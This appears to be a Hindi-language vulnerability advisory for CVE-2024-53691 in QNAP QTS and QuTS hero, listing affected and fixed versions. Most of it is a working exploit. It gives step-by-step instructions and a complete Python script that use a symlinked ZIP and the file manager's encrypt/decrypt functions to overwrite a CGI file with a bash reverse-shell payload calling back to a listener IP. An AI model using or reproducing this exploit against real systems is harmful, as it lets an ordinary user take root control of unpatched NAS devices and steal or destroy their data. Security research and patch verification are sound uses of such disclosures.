
CVE-2024-53691
"यदि इसका शोषण किया जाता है, तो लिंक फॉलोइंग भेद्यता दूरस्थ हमलावरों को, जिन्होंने उपयोगकर्ता पहुँच प्राप्त कर ली है, फ़ाइल सिस्टम को अनपेक्षित स्थानों तक पार करने की अनुमति दे सकती है।"
खोज की तिथि: 22 अप्रैल 2024
सुधार की तिथि: 7 सितंबर 2024
प्रभावित संस्करण: QTS 5.1.x, QuTS hero h5.1.x
निश्चित संस्करण: QTS 5.2.0.2802 build 20240620 और उसके बाद, QuTS hero h5.2.0.2802 build 20240620 और उसके बाद
पहुँच अनुमतियाँ: फ़ाइल अपलोड अनुमति वाला सामान्य उपयोगकर्ता
सारांश:
ZIP फ़ाइल के माध्यम से एक सिमलिंक अपलोड करना और एन्क्रिप्ट/डिक्रिप्ट फ़ंक्शन का दुरुपयोग करना संभव है ताकि एक मनमाना फ़ाइल लेखन आदिम प्राप्त किया जा सके जिसे दूरस्थ कोड निष्पादन में बदला जा सके।
एक सामान्य उपयोगकर्ता के विशेषाधिकार वाला हमलावर भेद्यता का शोषण करके रूट उपयोगकर्ता के रूप में कोड निष्पादन प्राप्त कर सकता है और सिस्टम को पूरी तरह से समझौता कर सकता है।
एक सिम्बोलिक लिंक बनाएँ और इसे ZIP फ़ाइल में डालें। सिमलिंक लक्ष्य निर्दिष्ट करता है कि कौन सी फ़ाइल अधिलेखित की जाएगी। दूरस्थ कोड निष्पादन प्राप्त करने के लिए /home/httpd/cgi-bin/restore_config.cgi चुना गया।
ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
zip --symlink pwn.zip link.txt
शेल कमांड जो निष्पादित होंगे, उन्हें payload.txt में लिखें। उदाहरण में एक मानक bash रिवर्स शेल का उपयोग किया गया है। लिसनर IP और पोर्ट को समायोजित करना न भूलें।
#!/bin/sh
bash -c "bash -i >& /dev/tcp/192.168.178.142/4444 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
निम्न-विशेषाधिकार वाले उपयोगकर्ता के रूप में लॉग इन करें।
वेब इंटरफ़ेस के माध्यम से ZIP फ़ाइल अपलोड करें।
राइट-क्लिक करके और Extract to /pwn/ चुनकर ZIP फ़ाइल निकालें।
payload.txt को /pwn/payload.txt पर अपलोड करें।

payload.txt को राइट-क्लिक करके, Encrypt चुनकर और Do you want to encrypt and replace the original file? को Yes पर सेट करके एन्क्रिप्ट करें।
राइट-क्लिक करके और Rename चुनकर फ़ाइल payload.txt.qenc का नाम बदलकर link.txt.qenc करें।
राइट-क्लिक करके, Decrypt चुनकर और Mode को Overwrite पर सेट करके फ़ाइल link.txt.qenc को डिक्रिप्ट करें।
अपना रिवर्स शेल लिसनर शुरू करें।
nc -nvlp 4444
रिवर्स शेल के निष्पादन को ट्रिगर करने के लिए अपने ब्राउज़र में /cgi-bin/restore_config.cgi एंडपॉइंट खोलें।

निम्नलिखित पायथन स्क्रिप्ट का उपयोग भेद्यता का शोषण करने के लिए किया जा सकता है।
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
# निम्नलिखित चर समायोजित करें
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
LISTENER_IP = '192.168.178.142'
LISTENER_PORT = 4444
PAYLOAD = f"""#!/bin/sh
bash -c "bash -i >& /dev/tcp/{LISTENER_IP}/{LISTENER_PORT} 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
"""
#DEBUG_PROXY = 'http://localhost:8080'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main() -> None:
session = Session()
#session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
session.verify = False
print('zip फ़ाइल बनाया जा रहा है')
os.system("""
rm -f link.txt pwn.zip payload.txt
ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
zip --symlink pwn.zip link.txt
""")
print('लॉग इन किया जा रहा है')
response = session.post(
f'{ENDPOINT}/cgi-bin/authLogin.cgi',
headers={'Content-type': 'application/x-www-form-urlencoded'},
data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
)
assert response.status_code == 200
match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
assert match
sid = match.group(1)
print('zip फ़ाइल अपलोड की जा रही है')
with open('pwn.zip', 'rb') as file:
upload_file(session, sid, 'pwn.zip', file.read())
print('zip फ़ाइल अनपैक की जा रही है')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/pwn'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
time.sleep(5)
print('पेलोड फ़ाइल अपलोड की जा रही है')
upload_file(session, sid, 'pwn/payload.txt', str.encode(PAYLOAD))
print('पेलोड फ़ाइल एन्क्रिप्ट की जा रही है')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=encrypt',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'passwd': 'test', 'dest_path': '/home', 'source_total': '1', 'source_path': '/home', 'source_file': 'pwn/payload.txt', 'mode': '0', 'keep': '1'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
print('पेलोड फ़ाइल का नाम बदला जा रहा है')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=rename&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'path': '/home/pwn', 'source_name': 'payload.txt.qenc', 'dest_name': 'link.txt.qenc'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] in (1, 2)
print('पेलोड फ़ाइल डिक्रिप्ट की जा रही है')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=decrypt',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'passwd': 'test', 'dest_path': '/home/pwn', 'source_total': '1', 'source_path': '/home/pwn', 'source_file': 'link.txt.qenc', 'mode': '0'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
time.sleep(1)
print('पेलोड निष्पादित किया जा रहा है')
session.get(f'{ENDPOINT}/cgi-bin/restore_config.cgi')
def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
# अपलोड आईडी प्राप्त करें
response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
assert response.status_code == 200
data = response.json()
upload_id = data['upload_id']
assert upload_id
# फ़ाइल अपलोड करें
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
files=(
('fileName', (None, filename.encode('ascii'))),
('file', ('blob', content, 'application/octet-stream')),
),
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
if __name__ == '__main__':
main()